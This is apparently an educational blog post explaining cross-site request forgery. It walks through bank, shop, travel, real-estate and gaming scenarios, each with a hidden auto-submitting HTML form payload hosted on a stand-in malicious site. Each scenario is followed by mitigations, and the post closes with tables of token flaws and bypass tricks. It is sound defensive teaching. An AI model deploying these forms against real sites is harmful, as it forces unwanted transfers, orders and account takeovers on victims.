Table of Contents
⚠️ Caution: #FreePalestine
Pre-conditions for CSRF to work:
| Requirement | Why it’s needed |
|---|---|
| Victim is authenticated | So the browser has a session cookie for the target |
| No CSRF protections | So the server doesn’t validate request origin |
| Browser sends credentials | Cookies must be automatically attached by browser |
What is CSRF?
Cross-Site Request Forgery (CSRF) is a type of web security vulnerability that allows an attacker to trick a user into performing actions they didn’t intend to do, while they are authenticated on a web application.
Simple Analogy: Imagine you’re logged into your bank account in one browser tab. In another tab, you visit a malicious website. That website secretly sends a money transfer request to your bank using your browser’s cookies—without your permission. If the bank doesn’t verify whether the request is legitimate, the transfer goes through.
How Does CSRF Work? (Intermediate Level)
To understand CSRF, you need to understand how browsers handle authentication:
- When you log into a website, a session cookie is stored in your browser.
- That cookie is automatically sent with every request to that website.
- If the server doesn’t ask for more proof (like a token), it assumes the request is legitimate.
Basic Attack Flow
- The victim logs into
https://bank.com. - The victim’s browser stores an authentication cookie for that site.
- While logged in, the victim visits a malicious site
https://evil.com. evil.comcontains HTML or JavaScript that sends a forged request tohttps://bank.com/transfer?to=hacker&amount=1000.- The browser automatically includes the session cookie, making the request look like it came from the user.
Example of CSRF Attack (Practical)
<!-- Evil page hosted on evil.com -->
<html>
<body>
<form action="https://bank.com/transfer" method="POST" style="display:none;">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="1000">
<input type="submit">
</form>
<script>
document.forms[0].submit(); // Automatically submits the form
</script>
</body>
</html>This will execute a bank transfer request on behalf of the victim without their knowledge.
GET vs POST in CSRF
- CSRF can exploit both GET and POST requests.
- GET-based CSRF is easier to execute using
<img src="...">or<script src="...">. - POST-based CSRF requires auto-submitting forms or sometimes JavaScript (unless blocked by CORS).
CSRF Attack on an E-Commerce Site (Placing an Order)
Scenario:
An attacker exploits a CSRF vulnerability on an e-commerce platform where the user is logged in. The attacker wants to place an order on behalf of the victim.
Attack Flow:
- The victim logs into
https://shop.comand has an active session with a stored authentication cookie. - The attacker crafts a malicious HTML form that places an order for an expensive product (e.g., $1000 laptop).
<form action="https://shop.com/place-order" method="POST" style="display:none;">
<input type="hidden" name="product" value="expensive-laptop">
<input type="hidden" name="quantity" value="1">
<input type="hidden" name="shipping_address" value="attacker_address">
<input type="submit">
</form>
<script>
document.forms[0].submit(); // Form is submitted automatically when victim visits page
</script>- The victim visits
https://evil.com, and the form is automatically submitted without the victim’s knowledge. - A new order is placed for the laptop, and the payment is charged to the victim’s account.
Key Issues:
- Lack of CSRF protection.
- No confirmation step or verification for actions like order placement.
- The use of cookies for authentication, making it easier for attackers to exploit.
Mitigation
- CSRF tokens for every form that initiates an action (e.g., placing an order).
- Order confirmation page with user review before processing orders.
- SameSite cookies to restrict cross-origin requests.
CSRF in a Travel Booking Website (Booking a Flight)
Scenario:
A travel booking site that allows users to book flights has a CSRF vulnerability in its booking form.
Attack Flow:
- The victim logs into
https://travelbooking.comand the browser stores the session cookie. - The attacker creates a malicious website at
https://malicious.comthat contains a form to book a flight.
<form action="https://travelbooking.com/book-flight" method="POST" style="display:none;">
<input type="hidden" name="flight_id" value="1234">
<input type="hidden" name="departure" value="Los Angeles">
<input type="hidden" name="destination" value="Paris">
<input type="hidden" name="date" value="2025-12-20">
<input type="submit">
</form>
<script>
document.forms[0].submit();
</script>- The victim visits the malicious website. The form is automatically submitted to the travel site, and the victim’s browser sends the session cookie.
- The flight is booked without the victim’s consent, and the attacker can use the credit card details linked to the victim’s account.
Mitigation
- CSRF token with each form submission.
- Use SameSite cookies for session management.
- Confirm important actions like booking with a second factor of authentication.
CSRF in a Real Estate Website (Property Listing Creation)
Scenario:
An attacker exploits a CSRF vulnerability in a real estate site where users can create property listings.
Attack Flow:
- The victim logs into
https://realestate.comand is authenticated. - The attacker visits
https://malicious.comand embeds a hidden form that creates a property listing on the real estate site:
<form action="https://realestate.com/create-listing" method="POST" style="display:none;">
<input type="hidden" name="property_type" value="villa">
<input type="hidden" name="price" value="1000000">
<input type="hidden" name="location" value="123 Fake Street">
<input type="submit">
</form>
<script>
document.forms[0].submit();
</script>- The victim visits
https://malicious.comwhile logged into the real estate site. The form is automatically submitted, creating a fake listing under the victim’s account. - The attacker can then use the fake listing to scam users.
Mitigation
- Ensure CSRF token is required for creating or modifying listings.
- Implement account verification for adding new listings.
- Use SameSite cookies to restrict cross-origin attacks.
CSRF Attack on a Gaming Platform (Account Settings Modification)
Scenario:
An attacker exploits a CSRF vulnerability in an online gaming platform where users can modify their account settings (e.g., changing the email address or password).
Attack Flow:
- The victim is logged into
https://gamingplatform.comand has a session cookie. - The attacker crafts a malicious page that submits a request to change the victim’s email.
<form action="https://gamingplatform.com/update-email" method="POST" style="display:none;">
<input type="hidden" name="email" value="attacker@example.com">
<input type="submit">
</form>
<script>
document.forms[0].submit(); // Automatically submits the form
</script>- The victim visits the malicious website, and the form is submitted automatically, changing the victim’s email address to the attacker’s email.
- Account recovery becomes impossible for the victim, as the attacker now controls the email.
Mitigation
- Implement CSRF tokens for form submissions involving sensitive data changes.
- Email verification for changes to critical account settings (e.g., email, password).
Token Flaws
Here are common CSRF token flaws:
| Flaw | Description |
|---|---|
| Same token for every user | Allows attacker to reuse it |
| Token in GET | May leak in browser history or logs |
| Token not validated on server | Common in legacy apps |
| Token reused across sessions | Allows token replay attacks |
| Token not bound to user | If attacker can guess it, CSRF succeeds |
Case: YouTube (2008)
An attacker discovered that YouTube didn’t protect sensitive POST requests. They crafted a request that made users auto-subscribe to a specific channel when visiting a malicious site.
Result: Millions of auto-subscribed users before patching.
CSRF in SPAs and REST APIs
CSRF in Modern Web Apps (React, Angular, etc.)
Even though SPAs often use fetch() and APIs, they’re not immune to CSRF if cookies are used for auth.
Key Points:
- If your app uses session-based auth with cookies, you must protect with CSRF tokens or SameSite settings.
- If using token-based auth (JWT in Authorization header), then CSRF is not possible because browsers don’t attach Authorization headers cross-origin unless CORS is configured insecurely.
SameSite Cookie Behavior in Practice
Testing Example
document.cookie = "test=123; SameSite=Strict";
fetch("https://example.com/api/submit", {
method: "POST",
body: JSON.stringify({ data: "test" }),
credentials: "include"
});- With
SameSite=Strict: Cookie won’t be sent in this cross-origin request. - With
SameSite=None; Secure: Cookie will be sent, unless blocked by browser settings.
Common mistake: Devs set SameSite=None without Secure. This invalidates the cookie in modern browsers!
Bypassing Weak CSRF Protections
Common bypass tricks:
| Method | Explanation |
|---|---|
| Using image tags to bypass form protections | <img src="..."> |
| Reusing leaked or shared tokens | If tokens are not per-session or leak in URLs |
| Exploiting CORS misconfigurations | With Access-Control-Allow-Origin: * and credentials: true |
| JSON endpoints without proper headers | APIs using cookies may be vulnerable if CORS or CSRF tokens are missing |
CSRF is simple in concept but powerful in impact. It thrives when:
- Authentication is handled via cookies
- State-changing actions lack validation
- The server trusts all incoming requests from the browser
With proper tokenization, cookie flags, and development hygiene, you can eliminate the threat of CSRF completely.
Happy Hacking Broo
